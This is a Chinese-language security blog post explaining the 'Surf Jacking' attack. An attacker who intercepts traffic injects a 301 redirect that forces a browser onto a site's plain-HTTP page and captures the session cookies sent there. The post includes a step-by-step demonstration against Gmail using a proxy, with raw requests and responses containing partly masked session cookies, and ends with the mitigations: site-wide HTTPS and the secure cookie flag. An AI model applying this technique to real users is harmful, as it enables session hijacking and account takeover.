又一个猥琐的技巧:Surf Jacking
作者:axis
这个技巧是今天EnableSecurity发出来的。
前提条件是能够截获流量。具体来说,就是能监听上行流量,可以修改下行流量。方法可以通过arp欺骗、DNS欺骗、无线监听等实现。
有的人可能会说,都能截获流量了,还有什么不能做的。
确实,能够监听和篡改流量了,就可以做很多事情,比如修改软件自动升级的2进制包,可以arp挂马,可以插入跨站脚本,可以做SSL中间人攻击。
但是我们这里讨论的是威胁。直接挂马或者篡改升级软件,可能会受到种种环境的限制,也有一定的成功率。而SSL中间人攻击,则会跳出一个证书已改变的提示。
除开上面说的这些更火辣的手段,想要从https包里抠点东西出来,是非常困难的,所以目前很多网站比如网银等都普遍采用https加密网络传输过程,以避免敏感信息被监听。
这种Surf Jacking 攻击,实际上就是在针对某些使用了https的站点时候,由于加密,所以直接监听无法获取cookie,而使用surf jacking强制用户去访问某个攻击者希望用户访问的非https页面,然后在这个过程中窃取用户的明文cookie。
从网络攻击上来说,是具有一定积极意义的,所以作者paper的题目叫做: “HTTPS will not save you”
攻击原理是利用了HTTP协议里的一些跳转,比如:HTTP返回号为 301、302、303、307等,如果附带一个Location 字段,就会然让浏览器跳转到那个地址。这个过程也可以利用一些JS来跳转实现。
那么这个攻击过程就很清楚了
1. 浏览器访问某网站A
2. 攻击者篡改HTTP response包为301号返回,然后location指向某个https站点B的一个非https页面
3. 浏览器收到301号跳转,开始访问B的非https页面
4. 攻击者截获浏览器访问B的cookie
以gmail举例,我用Paros手动实现了这一过程
当选择gmail可以使用非https连接时:
GET http://www.sohu.com/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13
Host: www.sohu.com
Proxy-Connection: Keep-Alive
Cookie: YYID=2DC607514FBD27AEF10C6AE4E5B0220A; SUV=0806181151361975
HTTP/1.1 301 Moved Permanently
Location: http://mail.google.com/mail/?ui=1
Cache-Control: private
Content-Length: 0
接下来浏览器自动跳转去访问SOHU
GET http://mail.google.com/mail/?ui=1 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13
Cookie: GX=DQAAAH4AAABKxMCllKJ33pvig35klAbsrxxxxVf1bmZXEb-orDnAtd5Fxh8cM-rjchZQr7MTfaMROOMSdjp55NulIYiR64J_Fl4Ker3VHxxxFZHySwgmqUexxxsi82j3WwE1yixrkKgm_gSEWEgVY8U61CDUl5xxxxT1fMN4g6QIfTs-_PN1ow; PREF=ID=d69d5f428c1xcaa1:TM=1216179046:LM=1218520262:GM=1:S=leRExWWER-JNb9li; rememberme=true; SID=DQAAAHsAAAC5jzTYYblOMBmxxxyawMlMqn5f8j_rAepYYhs29woApxxxxxmRb5U1sFrV8An3DOBuBz8MkmLAyufJBuPJhMFreWbd-gJtHwqUnoFFhOoZW783kTxzZT-brQMRqEiLGuFZJRIYDMsIyXT5-efmIxxxxx8lGZzIlU7SbzpzrWLaa_Q
Proxy-Connection: Keep-Alive
Host: mail.google.com
HTTP/1.1 200 OK
Set-Cookie: S=gmail=3cTytL0AlPxzgpe-kyrTXg:gmail_yj=FXSizI3oTL-n1ENxiysVIA:gmproxy=8ioHBdizXTU:gmproxy_yj=EECeLN9Oqfg:gmproxy_yj_sub=vXLDg3tzUm8; Path=/mail
Set-Cookie: GMAIL_AT=xn3j2u5xew8txxxxxxxxuj8i5k4zbq; Path=/mail
Set-Cookie: GMAIL_HELP=hosted:0;Path=/
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Date: Tue, 12 Aug 2008 07:51:01 GMT
Server: GFE/1.3
一切都是通过HTTP协议,是明文可见的。
我在测试过程中,发现在选择“在本台计算机上保存帐户”时候,才能完成这样的攻击,否则新开浏览器窗口,就算重定向到gmail,也会跳转到google登录入口去。想来也是由于session cookie和stored cookie的问题。
这种攻击也是具有局限性的。因为他要求能够在目标网站的域下存在一个能够用http访问的页面,可以是图片或者是css之类,如下:
主站可能是 https://www.fvck.com/index.htm
https://www.fvck.com/fvck.php?id=fvckbaidu
https加密的部分是没有问题的,但是如果该域下存在一个非https的东东,就会让整个域处于风险中
比如存在一个图片可以直接访问
http://www.fvck.com/fvck.jpg
那么利用Surf Jacking强制用户直接去访问 http://www.fvck.com/fvck.jpg
就能获得该域的cookie了。
根据enblesecurity给出的防范建议是,全站都使用https加密,以及在cookie中增加secure标识。在cookie中增加secure标识后,会强制该cookie只能在https下发送,就可避免敏感cookie泄露的问题了。
相关的链接:
Tool: http://surfjack.googlecode.com/
Short paper: http://resources.enablesecurity.com/resources/Surf%20Jacking.pdf
Screencast: http://www.vimeo.com/1507697
[1] https://www.defcon.org/html/defcon-16/dc-16-speakers.html#Perry